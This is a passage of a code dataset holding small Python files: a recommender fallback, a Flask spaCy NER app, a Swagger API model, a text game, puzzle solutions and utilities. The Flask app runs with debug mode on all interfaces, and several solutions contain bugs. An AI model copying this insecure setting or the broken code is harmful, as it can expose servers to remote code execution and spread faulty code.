= set(test.id) - set(results.id)\n b = l - set(blank_test.id)\n\n song_count_dict = Counter([x for y in train.songs for x in y])\n tag_count_dict = Counter([x for y in train.tags for x in y])\n\n song_count_dict_sorted_by_values ={k : v for k, v in sorted(song_count_dict.items(), key=lambda x: x[1], reverse=True)}\n tag_count_dict_sorted_by_values ={k : v for k, v in sorted(tag_count_dict.items(), key=lambda x: x[1], reverse=True)}\n\n popular_songs = list(song_count_dict_sorted_by_values.keys())[:100]\n popular_tags = list(tag_count_dict_sorted_by_values.keys())[:10]\n\n\n returnval = []\n for _id, rec, tag_rec in zip(results.id, results.songs, results.tags):\n returnval.append({\n \"id\": _id,\n \"songs\": list(map(int, rec[:100])),\n \"tags\": tag_rec[:10]\n })\n\n for _id, rec, tag_rec in zip(blank_test.id, answer1, answer2):\n returnval.append({\n \"id\": _id,\n \"songs\": list(map(int,rec)),\n \"tags\": tag_rec\n })\n\n for _id in b:\n returnval.append({\n \"id\": _id,\n \"songs\": list(map(int,popular_songs)),\n \"tags\": popular_tags\n })\n\n return returnval\n","repo_name":"DSLinKR/KakaoArenaMelon","sub_path":"main/cold_start_FastText.py","file_name":"cold_start_FastText.py","file_ext":"py","file_size_in_byte":10975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70940269693","text":"import argparse\nimport os\nimport webview\nimport prosodic as p\n\np.being.config['print_to_screen']=0\np.config['print_to_screen']=0\nDEFAULT_METER='default_english'\n\n# API to the webview\nclass Api():\n def checkText(self, text):\n # print(text)\n m = p.config['meters'][DEFAULT_METER]\n t = p.Text(filename=text, lang='en', meter=m)\n t.parse(m)\n lines = []\n for parse in t.bestParses():\n output = []\n for pos in parse.positions:\n x=str(pos)\n if pos.has_viol: x+='*'\n output.append(x)\n lines.append(output)\n # print(lines)\n return lines\n\n def toggleFullscreen(self):\n webview.windows[0].toggle_fullscreen()\n\n def sayHello(self):\n print(\"Hello\")\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(prog='lyric-aid')\n parser.add_argument(\"-d\", \"--dev\", action=\"store_true\",\n help=\"dev mode\")\n args = parser.parse_args()\n api = Api()\n webview.create_window('Lyric Aid', url='../public/index.html', js_api=api, min_size=(600, 450))\n webview.start(debug=args.dev)\n # s = \"of mans first disobedience and the fruit\\nbrought death into the world and all\"\n # r = api.checkText(s)\n # print(r)\n\n","repo_name":"kkibria/lyric-aid","sub_path":"python/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70269235454","text":"bl_info = {\n \"name\": \"Rock Generator\",\n \"author\": \"Paul Marshall (brikbot)\",\n \"version\": (1, 3),\n \"blender\": (2, 6, 0),\n \"api\": 41875,\n \"location\": \"View3D > Add > Rock Generator\",\n \"description\": \"Adds a mesh rock to the Add Mesh menu\",\n \"wiki_url\": \"http://wiki.blender.org/index.php/Extensions:2.5\"\\\n \"/Py/Scripts/Add_Mesh/Rock_Generator\",\n \"tracker_url\": \"http://projects.blender.org/tracker/index.php?\"\\\n \"func=detail&aid=27314\",\n \"category\": \"Add Mesh\"}\n\nif \"bpy\" in locals():\n import imp\n imp.reload(rockgen)\nelse:\n from add_mesh_rocks import rockgen\n\nimport bpy\n\n\n# Register:\ndef menu_func_rocks(self, context):\n self.layout.operator(rockgen.rocks.bl_idname,\n text=\"Rock Generator\",\n icon=\"PLUGIN\")\n\n\ndef register():\n bpy.utils.register_module(__name__)\n\n bpy.types.INFO_MT_mesh_add.append(menu_func_rocks)\n\n\ndef unregister():\n bpy.utils.unregister_module(__name__)\n\n bpy.types.INFO_MT_mesh_add.remove(menu_func_rocks)\n\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"BSVino/Blender","sub_path":"release/scripts/addons_contrib/add_mesh_rocks/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"78"} +{"seq_id":"75192198971","text":"\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n\r\ndef climbingLeaderboard(ranked, player):\r\n l1 = []\r\n val = -1\r\n for i in range(len(ranked)):\r\n if ranked[i] != val:\r\n val = ranked[i]\r\n l1.append(ranked[i])\r\n rank = 1\r\n l2 = []\r\n for k in range(len(player)):\r\n l3 = l1\r\n if player[k] in l3:\r\n l2.append(l3.index(player[k])+1)\r\n else:\r\n l3.append(player[k])\r\n l3 = sorted(l3)\r\n l2.append(l3.index(player[k])+1)\r\n return l2\r\n\r\n\r\nclimbingLeaderboard([100,100,50,40,40,20,10],[5,25,50,120])\r\n\r\n\r\n","repo_name":"Sagkun343/Hackerrank-","sub_path":"climbing the leaderboard.py","file_name":"climbing the leaderboard.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19013745119","text":"# https://leetcode.com/problems/number-of-islands/discuss/1814139/SIMPLE-Python-DFS-Solution-O(N-*-M)\n\n# https://www.youtube.com/watch?v=__98uL6wst8\n\n\ndef dfs(self, grid, x, y, r, c):\n if x < 0 or x >= r or y < 0 or y >= c or grid[x][y] != '1':\n return\n grid[row][col] = '2'\n self.dfs(grid, x+1, y, r, c)\n self.dfs(grid, x-1, y, r, c)\n self.dfs(grid, x, y+1, r, c)\n self.dfs(grid, x, y-1, r, c)\n\n\n\ndef numIslands(self, grid):\n islands = 0\n rows = len(grid)\n cols = len(grid[0])\n for i in range(rows):\n for j in range(cols):\n if grid[i][j] == '1':\n self.dfs(grid, i, j, rows, cols)\n islands += 1\n\n return islands","repo_name":"taeheechoi/coding-practice","sub_path":"FB/200-number-of-islands.py","file_name":"200-number-of-islands.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"44851340444","text":"# coding: utf-8\n\n\"\"\"\n Tango Card RaaS API\n\n <5. Ordersp>Welcome to the RaaS® API – with this RESTful API you can integrate a global reward or incentive program into your app or platform.<br /><br /> This console works in our Sandbox environment. To receive your own credentials or to ask questions, please contact us at <a href=\\\"mailto:devsupport@tangocard.com\\\">devsupport@tangocard.com</a>. # noqa: E501\n\n OpenAPI spec version: 2\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom tango_client.configuration import Configuration\n\n\nclass CreateOrderCriteria(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'account_identifier': 'str',\n 'amount': 'float',\n 'campaign': 'str',\n 'customer_identifier': 'str',\n 'email_subject': 'str',\n 'etid': 'str',\n 'external_ref_id': 'str',\n 'message': 'str',\n 'notes': 'str',\n 'recipient': 'RecipientInfoCriteria',\n 'send_email': 'bool',\n 'sender': 'SenderInfoCriteria',\n 'utid': 'str'\n }\n\n attribute_map = {\n 'account_identifier': 'accountIdentifier',\n 'amount': 'amount',\n 'campaign': 'campaign',\n 'customer_identifier': 'customerIdentifier',\n 'email_subject': 'emailSubject',\n 'etid': 'etid',\n 'external_ref_id': 'externalRefID',\n 'message': 'message',\n 'notes': 'notes',\n 'recipient': 'recipient',\n 'send_email': 'sendEmail',\n 'sender': 'sender',\n 'utid': 'utid'\n }\n\n def __init__(self, account_identifier=None, amount=None, campaign=None, customer_identifier=None, email_subject=None, etid=None, external_ref_id=None, message=None, notes=None, recipient=None, send_email=None, sender=None, utid=None, _configuration=None): # noqa: E501\n \"\"\"CreateOrderCriteria - a model defined in Swagger\"\"\" # noqa: E501\n if _configuration is None:\n _configuration = Configuration()\n self._configuration = _configuration\n\n self._account_identifier = None\n self._amount = None\n self._campaign = None\n self._customer_identifier = None\n self._email_subject = None\n self._etid = None\n self._external_ref_id = None\n self._message = None\n self._notes = None\n self._recipient = None\n self._send_email = None\n self._sender = None\n self._utid = None\n self.discriminator = None\n\n self.account_identifier = account_identifier\n self.amount = amount\n if campaign is not None:\n self.campaign = campaign\n self.customer_identifier = customer_identifier\n if email_subject is not None:\n self.email_subject = email_subject\n if etid is not None:\n self.etid = etid\n if external_ref_id is not None:\n self.external_ref_id = external_ref_id\n if message is not None:\n self.message = message\n if notes is not None:\n self.notes = notes\n if recipient is not None:\n self.recipient = recipient\n self.send_email = send_email\n if sender is not None:\n self.sender = sender\n self.utid = utid\n\n @property\n def account_identifier(self):\n \"\"\"Gets the account_identifier of this CreateOrderCriteria. # noqa: E501\n\n Account Identifier # noqa: E501\n\n :return: The account_identifier of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._account_identifier\n\n @account_identifier.setter\n def account_identifier(self, account_identifier):\n \"\"\"Sets the account_identifier of this CreateOrderCriteria.\n\n Account Identifier # noqa: E501\n\n :param account_identifier: The account_identifier of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n if self._configuration.client_side_validation and account_identifier is None:\n raise ValueError(\"Invalid value for `account_identifier`, must not be `None`\") # noqa: E501\n\n self._account_identifier = account_identifier\n\n @property\n def amount(self):\n \"\"\"Gets the amount of this CreateOrderCriteria. # noqa: E501\n\n Amount # noqa: E501\n\n :return: The amount of this CreateOrderCriteria. # noqa: E501\n :rtype: float\n \"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, amount):\n \"\"\"Sets the amount of this CreateOrderCriteria.\n\n Amount # noqa: E501\n\n :param amount: The amount of this CreateOrderCriteria. # noqa: E501\n :type: float\n \"\"\"\n if self._configuration.client_side_validation and amount is None:\n raise ValueError(\"Invalid value for `amount`, must not be `None`\") # noqa: E501\n\n self._amount = amount\n\n @property\n def campaign(self):\n \"\"\"Gets the campaign of this CreateOrderCriteria. # noqa: E501\n\n Campaign # noqa: E501\n\n :return: The campaign of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._campaign\n\n @campaign.setter\n def campaign(self, campaign):\n \"\"\"Sets the campaign of this CreateOrderCriteria.\n\n Campaign # noqa: E501\n\n :param campaign: The campaign of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._campaign = campaign\n\n @property\n def customer_identifier(self):\n \"\"\"Gets the customer_identifier of this CreateOrderCriteria. # noqa: E501\n\n Customer Identifier # noqa: E501\n\n :return: The customer_identifier of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._customer_identifier\n\n @customer_identifier.setter\n def customer_identifier(self, customer_identifier):\n \"\"\"Sets the customer_identifier of this CreateOrderCriteria.\n\n Customer Identifier # noqa: E501\n\n :param customer_identifier: The customer_identifier of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n if self._configuration.client_side_validation and customer_identifier is None:\n raise ValueError(\"Invalid value for `customer_identifier`, must not be `None`\") # noqa: E501\n\n self._customer_identifier = customer_identifier\n\n @property\n def email_subject(self):\n \"\"\"Gets the email_subject of this CreateOrderCriteria. # noqa: E501\n\n Email subject # noqa: E501\n\n :return: The email_subject of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._email_subject\n\n @email_subject.setter\n def email_subject(self, email_subject):\n \"\"\"Sets the email_subject of this CreateOrderCriteria.\n\n Email subject # noqa: E501\n\n :param email_subject: The email_subject of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._email_subject = email_subject\n\n @property\n def etid(self):\n \"\"\"Gets the etid of this CreateOrderCriteria. # noqa: E501\n\n Email Template Identifier # noqa: E501\n\n :return: The etid of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._etid\n\n @etid.setter\n def etid(self, etid):\n \"\"\"Sets the etid of this CreateOrderCriteria.\n\n Email Template Identifier # noqa: E501\n\n :param etid: The etid of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._etid = etid\n\n @property\n def external_ref_id(self):\n \"\"\"Gets the external_ref_id of this CreateOrderCriteria. # noqa: E501\n\n External Reference ID # noqa: E501\n\n :return: The external_ref_id of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._external_ref_id\n\n @external_ref_id.setter\n def external_ref_id(self, external_ref_id):\n \"\"\"Sets the external_ref_id of this CreateOrderCriteria.\n\n External Reference ID # noqa: E501\n\n :param external_ref_id: The external_ref_id of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._external_ref_id = external_ref_id\n\n @property\n def message(self):\n \"\"\"Gets the message of this CreateOrderCriteria. # noqa: E501\n\n Message # noqa: E501\n\n :return: The message of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._message\n\n @message.setter\n def message(self, message):\n \"\"\"Sets the message of this CreateOrderCriteria.\n\n Message # noqa: E501\n\n :param message: The message of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._message = message\n\n @property\n def notes(self):\n \"\"\"Gets the notes of this CreateOrderCriteria. # noqa: E501\n\n Notes # noqa: E501\n\n :return: The notes of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._notes\n\n @notes.setter\n def notes(self, notes):\n \"\"\"Sets the notes of this CreateOrderCriteria.\n\n Notes # noqa: E501\n\n :param notes: The notes of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n\n self._notes = notes\n\n @property\n def recipient(self):\n \"\"\"Gets the recipient of this CreateOrderCriteria. # noqa: E501\n\n Recipient Details # noqa: E501\n\n :return: The recipient of this CreateOrderCriteria. # noqa: E501\n :rtype: RecipientInfoCriteria\n \"\"\"\n return self._recipient\n\n @recipient.setter\n def recipient(self, recipient):\n \"\"\"Sets the recipient of this CreateOrderCriteria.\n\n Recipient Details # noqa: E501\n\n :param recipient: The recipient of this CreateOrderCriteria. # noqa: E501\n :type: RecipientInfoCriteria\n \"\"\"\n\n self._recipient = recipient\n\n @property\n def send_email(self):\n \"\"\"Gets the send_email of this CreateOrderCriteria. # noqa: E501\n\n Send Email # noqa: E501\n\n :return: The send_email of this CreateOrderCriteria. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._send_email\n\n @send_email.setter\n def send_email(self, send_email):\n \"\"\"Sets the send_email of this CreateOrderCriteria.\n\n Send Email # noqa: E501\n\n :param send_email: The send_email of this CreateOrderCriteria. # noqa: E501\n :type: bool\n \"\"\"\n if self._configuration.client_side_validation and send_email is None:\n raise ValueError(\"Invalid value for `send_email`, must not be `None`\") # noqa: E501\n\n self._send_email = send_email\n\n @property\n def sender(self):\n \"\"\"Gets the sender of this CreateOrderCriteria. # noqa: E501\n\n Sender Details # noqa: E501\n\n :return: The sender of this CreateOrderCriteria. # noqa: E501\n :rtype: SenderInfoCriteria\n \"\"\"\n return self._sender\n\n @sender.setter\n def sender(self, sender):\n \"\"\"Sets the sender of this CreateOrderCriteria.\n\n Sender Details # noqa: E501\n\n :param sender: The sender of this CreateOrderCriteria. # noqa: E501\n :type: SenderInfoCriteria\n \"\"\"\n\n self._sender = sender\n\n @property\n def utid(self):\n \"\"\"Gets the utid of this CreateOrderCriteria. # noqa: E501\n\n Unique Tango Card Identifier # noqa: E501\n\n :return: The utid of this CreateOrderCriteria. # noqa: E501\n :rtype: str\n \"\"\"\n return self._utid\n\n @utid.setter\n def utid(self, utid):\n \"\"\"Sets the utid of this CreateOrderCriteria.\n\n Unique Tango Card Identifier # noqa: E501\n\n :param utid: The utid of this CreateOrderCriteria. # noqa: E501\n :type: str\n \"\"\"\n if self._configuration.client_side_validation and utid is None:\n raise ValueError(\"Invalid value for `utid`, must not be `None`\") # noqa: E501\n\n self._utid = utid\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(CreateOrderCriteria, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, CreateOrderCriteria):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, CreateOrderCriteria):\n return True\n\n return self.to_dict() != other.to_dict()\n","repo_name":"Crewscope/tango-cards-python-client-generated","sub_path":"tango_client/models/create_order_criteria.py","file_name":"create_order_criteria.py","file_ext":"py","file_size_in_byte":14102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8939103317","text":"import os\nimport json\n\n\ndef get_json_file(path):\n cur = os.path.dirname(os.path.abspath(__file__))\n with open(os.path.join(cur, 'data', path), encoding='utf8') as f:\n return json.load(f)\n\n\ndef load_json_file(test_name):\n return get_json_file(test_name)\n\n\ndef load_test(test_list, test_name):\n for test_data in test_list:\n if test_data['name'] == test_name:\n return test_data['cases']\n print(test_list)\n raise Exception('test {} unknown.'.format(test_name))\n\n\ndef load_test_list(test_list, test_name):\n try:\n _dict = {}\n _search_key = test_name + '.'\n for test_data in test_list:\n if test_data['name'] == test_name:\n _dict[test_data['name']] = test_data['cases']\n elif test_data['name'].startswith(_search_key):\n _dict[test_data['name']] = test_data['cases']\n if len(_dict) > 0:\n return _dict\n except TypeError as err:\n print(err)\n raise err\n print(test_list)\n raise Exception('test {} unknown.'.format(test_name))\n\n\ndef exec_test(test_obj, test_name, test_func):\n _dict = load_test_list(test_obj.test_list, test_name)\n for key_name, tests in _dict.items():\n for test_data in tests:\n try:\n if 'capi' in test_data.get('exclude', []):\n continue\n if 'python' in test_data.get('exclude', []):\n continue\n is_error = False\n exp_data = test_data.get('expect', {})\n if 'error' in test_data:\n exp_data = test_data['error']\n is_error = True\n test_func(test_obj, key_name, test_data['case'],\n test_data['request'], exp_data, is_error)\n except Exception as e:\n print('error: {}:{}'.format(key_name, test_data['case']))\n raise e\n\n\ndef assert_equal(test_obj, test_name, case, expect, value,\n param_name='', log_name=''):\n if isinstance(value, bool) or isinstance(value, int):\n _value = value\n else:\n _value = str(value)\n if not param_name:\n err_msg = expect.get('message', '')\n err_msg = expect.get('cfd', err_msg)\n err_msg = expect.get('capi', err_msg)\n err_msg = expect.get('python', err_msg)\n test_obj.assertEqual(\n err_msg, _value,\n 'Fail: {}:{}'.format(test_name, case))\n elif param_name in expect:\n if isinstance(\n expect[param_name],\n str) and (\n not isinstance(\n _value,\n str)):\n _value = str(_value)\n fail_param_name = log_name if log_name else param_name\n test_obj.assertEqual(\n expect[param_name], _value,\n 'Fail: {}:{}:{}'.format(test_name, case, fail_param_name))\n\n\ndef assert_match(test_obj, test_name, case, expect, value, param_name):\n _value = value\n if isinstance(expect, str) and (not isinstance(_value, str)):\n _value = str(_value)\n test_obj.assertEqual(\n expect, _value,\n 'Fail: {}:{}:{}'.format(test_name, case, str(param_name)))\n\n\ndef assert_log(test_obj, test_name, case):\n test_obj.assertTrue(False, 'Fail: {}:{}'.format(test_name, case))\n\n\ndef assert_message(test_obj, test_name, case, msg):\n test_obj.assertTrue(False, 'Fail: {}:{} {}'.format(test_name, case, msg))\n\n\ndef assert_error(test_obj, test_name, case, is_error_pattern, value=''):\n if is_error_pattern:\n append_msg = '' if value == '' else 'result={}'.format(value)\n msg = 'Fail: \"{}:{}\" not error occurred. {}'.format(\n test_name, case, append_msg)\n test_obj.assertTrue(False, msg)\n raise Exception(msg)\n","repo_name":"p2pderivatives/cfd-python","sub_path":"tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"7879611852","text":"import logging\nimport os,sys\nfrom pathlib import Path\n\n#conf\n\"\"\"\nThis logs details.\n\"\"\"\nname=\"torswitch logger\"\nlog_time_format=\"%d-%m-%Y %H:%M:%S\"\nformatter = logging.Formatter('%(name)s | %(levelname)s @ %(asctime)s >> %(message)s ',log_time_format)\npath=str(Path(__file__).resolve().parent)\n#log_path=path+\"/log_files/\"\n\n#custom handler conf\nlogger=logging.getLogger(name)\nlogger.setLevel(logging.DEBUG)\n\n#logging file handler \n\"\"\"\nuncomment code for adding file logging.Don't forget to add it to handler\n\"\"\"\n# file_handler = logging.FileHandler(log_path+\"fight.log\")\n# file_handler.setLevel(logging.DEBUG)\n# file_handler.setFormatter(formatter)\n\n#channel handler\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nch.setFormatter(formatter)\n\n# add handlers to logger\nlogger.addHandler(ch)\n\n\n\nif __name__==\"__main__\":\n logger.info(f\"This log is generated for pupose of testing\")","repo_name":"alexdeathway/torswitch","sub_path":"torswitch/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"32486914159","text":"import io\nimport spacy\nimport pickle\nimport pandas as pd\nimport os\n\nfrom flask import Flask, jsonify, request, render_template\n\nnlp = spacy.load(\"en_core_web_sm\")\n\napp = Flask(__name__)\n\ndescription = \"This is a spacy NER service wrapped in Flask server. The service can \\\nperform tokenization, lemmatization, and NER (Named Entity Recognition) on the input text\"\n\n# This is the parts of the html page that shows the entity list\nopenpart_table_html = \"<p>All entities seen so far:</p>\\n\"\nendpart_table_html = \"\"\"\\n<p></p><form method = \"POST\">\n <input type=\"submit\" name=\"btn\" value=\"Redo NER\">\n</form><p></p><form method = \"POST\">\n <input type=\"submit\" name=\"btn\" value=\"Reset database\">\n</form>\"\"\"\n\n# Loading database\ndatabase_path = \"database.pickle\"\nif(os.path.exists(database_path)):\n with open(database_path, 'rb') as handle:\n entdict = pickle.load(handle)\nelse:\n entdict = {}\n\nclass SpacyDocument:\n\n def __init__(self, text: str):\n self.text = text\n self.doc = nlp(text)\n\n def get_tokens(self):\n return [token.lemma_ for token in self.doc]\n\n def get_entities(self):\n entities = []\n for e in self.doc.ents:\n entities.append((e.start_char, e.end_char, e.label_, e.text))\n return entities\n\n # Update the dict storing entities with the new recognized ones\n def get_entities_dict(self, entdict):\n entities = []\n for e in self.doc.ents:\n et = e.text\n entdict[et] = (entdict.get(et, 0) + 1)\n return entdict\n\n def get_entities_with_markup(self):\n entities = self.doc.ents\n starts = {e.start_char: e.label_ for e in entities}\n ends = {e.end_char: True for e in entities}\n buffer = io.StringIO()\n for p, char in enumerate(self.text):\n if p in ends:\n buffer.write('</entity>')\n if p in starts:\n buffer.write('<entity class=\"%s\">' % starts[p])\n buffer.write(char)\n markup = buffer.getvalue()\n return '<markup>%s</markup>' % markup\n\ndef create_html_from_database(entdict):\n # getting the dict of entities, create html page\n df = pd.DataFrame.from_dict(entdict, orient='index', columns=['instances'])\n html = df.to_html()\n text_file = open(\"templates/table.html\", \"w\")\n text_file.write(openpart_table_html)\n text_file.write(html)\n text_file.write(endpart_table_html)\n text_file.close()\n return\n\n# Note the methods argument, the default is a list with just GET, if you do not\n# add POST then the resource will not accept POST requests.\n@app.route('/')\ndef form():\n return render_template('form.html')\n\n@app.route('/', methods=['POST'])\ndef form_post():\n global entdict\n if request.form['btn']=='Submit':\n \n text = str(request.form['inputtext'])\n doc = SpacyDocument(text)\n processed_text = doc.get_entities_with_markup()\n # Update the database and save it\n entdict = doc.get_entities_dict(entdict)\n with open(database_path, 'wb') as handle:\n pickle.dump(entdict, handle)\n return render_template('result.html',processed_text=processed_text)\n \n elif request.form['btn']=='Show list of entities so far (NOT including the unsubmitted text)' \\\n or request.form['btn']=='Show list of entities so far':\n\n # Load database and write it into html file to be shown\n create_html_from_database(entdict)\n return render_template('table.html')\n \n elif request.form['btn']=='Redo NER':\n return render_template('form.html')\n\n elif request.form['btn']=='Reset database':\n entdict = {}\n with open(database_path, 'wb') as handle:\n pickle.dump(entdict, handle)\n create_html_from_database(entdict)\n return render_template('table.html')\n\nif __name__ == '__main__':\n #app.run(debug=True)\n app.run(host=\"0.0.0.0\", debug=True)\n","repo_name":"JinnyViboonlarp/cs217-assignments","sub_path":"Assn2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12247534324","text":"\"\"\"https://github.com/GlennNicholas/CP1404practicals\"\"\"\n\nimport random\n\n\ndef main():\n smallest_number = 1\n highest_number = 45\n quick_picks = int(input('How many quick picks?'))\n\n for i in range(quick_picks):\n quick_picks_list = []\n for j in range(6):\n random_number = random.randint(smallest_number, highest_number)\n while random_number in quick_picks_list:\n random_number = random.randint(smallest_number, highest_number)\n quick_picks_list.append(random_number)\n quick_picks_list.sort()\n print(\" \".join(\"{:2}\".format(random_number) for random_number in quick_picks_list))\n\n\nmain()\n","repo_name":"GlennNicholas/CP1404practicals","sub_path":"Prac_04/quick_picks.py","file_name":"quick_picks.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"338126909","text":"from secrets import choice\nimport time\nimport random\nfrom urllib import response\n\n\ndef print_pause(message_to_print): # determine time delay\n print(message_to_print)\n time.sleep(2)\n\n\ndef valid_input(prompt, option1, option2): # validate input of player\n while True:\n response = input(prompt).lower()\n if response == option1:\n break\n elif response == option2:\n break\n else:\n print_pause(\"Sorry, I don't understand.\")\n return response\n\n\ndef begin_game(): # player starts game\n print_pause(\"Long ago in a distant land.\\n\")\n print_pause(\"An enemy unleashed an unspeakable evil.\\n\")\n print_pause(\"But a brave warrier wielding the greatest weapon \" +\n \"bestowed on humanity stepped forth to oppose him.\\n\")\n print_pause(\"To defend yourself, you will have to fight.\\n\")\n\n\ndef choose_weapon(): # choose a weapon at random\n response = valid_input(\"Choose your weapon.\" +\n \"Enter 1/2?\\n\", \"1\", \"2\").lower()\n response = random.choice([\"1\", \"2\"])\n\n if \"1\" in response:\n print_pause(\"A wand!!! Great choice! Now let's cook up a fire spell\\n\")\n print_pause(\"EXPENSIVE PETROLATUM!!\\n\")\n\n elif \"2\" in response:\n print_pause(\"A kitana! Nice!\\n\")\n print_pause(\"The evil you have caused my\" +\n \"people is enough!!! Aaaarrgghhhhhh\\n\")\n\n else:\n print_pause(\"Invalid response!\\n\")\n end_game()\n\n\ndef end_game(): # End game\n print_pause(\"Yay! You land a hit! the enemy retreats into darkness\\n\")\n print_pause(\"But before he disappears you make a final decision.\\n\")\n\n response = valid_input(\"How would you like to proceed\" +\n \" Warrior? (Enter 1 or 2)\\n\", \"1\", \"2\").lower()\n response = random.choice([\"1\", \"2\"])\n\n if response == \"1\":\n print_pause(\"You decide to leave the enemy and\" +\n \"forgive him for all evil caused.\\n\")\n print_pause(\"Just then, he tackles you and swoops you\" +\n \"into a worm hole.\\n\")\n print_pause(\"You disintegrate slowly... GAME OVER!\\n\")\n\n elif response == \"2\":\n print_pause(\"You corner him and land a fatal hit!\\n\")\n print_pause(\"The enemy cries out and curses you \" +\n \"with his dying breath\\n\")\n print_pause(\"He dies and your people are saved. YOU WIN!!!\\n\")\n\n else:\n print_pause(\"Sorry, You have to make a choice.\\n\")\n play_again()\n\n\ndef play_again(): # play again\n response = valid_input(\"Want to play again? (yes/no)\\n\",\n \"no\", \"yes\").lower()\n if \"no\" in response:\n print_pause(\"Too bad... See you next time!\\n\")\n\n elif \"yes\" in response:\n print_pause(\"Let's begin!\\n\")\n game()\n\n\ndef game():\n begin_game()\n choose_weapon()\n\n\ngame()\n","repo_name":"Sucodes/Adventure-game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"75189059771","text":"import matplotlib.pyplot as plt\n\n# 定义二维列表\nA = [[0, 5],\n [3, 4],\n [5, 0]]\n\n# 自定义可视化函数\ndef draw_vector_3D(vector, RGB):\n plt.quiver(0, 0, 0, # 箭头的起点坐标\n vector[0], # 箭头在 x 轴上的分量\n vector[1], # 箭头在 y 轴上的分量\n vector[2], # 箭头在 z 轴上的分量\n # 箭头的长度应该乘以的比例因子(0表示箭头的长度将被设置为一个合适的长度,不乘以比例因子)\n arrow_length_ratio=0,\n color=RGB, # 箭头的颜色\n zorder=1e5) # 图层序号\n\n\nfig = plt.figure(figsize=(6, 6))\nax = fig.add_subplot(projection='3d', proj_type='ortho')\n\n# 第一列向量\nv1 = [row[0] for row in A] # [0, 3, 5]\ndraw_vector_3D(v1, '#FF6600')\n# 第二列向量\nv_2 = [row[1] for row in A] # [5, 4, 0]\ndraw_vector_3D(v_2,'#FFBBFF')\n\n# 设置轴范围\nax.set_xlim(0,5)\nax.set_ylim(0,5)\nax.set_zlim(0,5)\n# 设置坐标轴的标签\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('z')\n# 设置观察者的仰角为30度,方位角为30度,即改变三维图形的视角\nax.view_init(elev = 30, azim = 30)\n# 